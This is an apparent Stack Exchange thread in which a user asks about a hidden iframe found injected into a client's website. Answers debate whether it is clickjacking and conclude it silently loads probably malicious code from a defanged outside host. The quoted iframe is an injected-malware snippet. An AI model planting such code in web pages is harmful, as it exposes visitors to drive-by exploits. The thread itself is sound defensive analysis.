Information Security Stack Exchange is a question and answer site for information security professionals. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

This is the code that I found on my client's website:

<iframe src="htxp://atluscomdnsup23.ikwb.cxm/main.php?page=1f1214ff37a3022d" height="0" width="0" FRAMEBORDER="0" style="visibility: hidden; position: absolute;"></iframe>
share|improve this question
up vote 2 down vote accepted

I think this is somehow a clickjacking attack and you can read about it here Clickjacking tutorial also this is a nice video about clickjacking attacks Symatic Clickjacking Defined

share|improve this answer
This doesn't at all look like clickjacking, iframe embedding would usually be the other way around, no? – AviD Sep 4 '15 at 8:22

This is inserting a hidden iframe pointing to a (presumably compromised) website which will contain more evil code.

I have to disagree with Ali Hussein answer, there doesn't seem to bear any relationship to clickjacking, as it's not trying to appear on top of other page elements. It simply tries not to be seen.

Probably, the atluscomdnsup23 will contain javascript attempting to exploit vulnerabilities in your browser, following referrals, opening advertising popups, etc.

share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.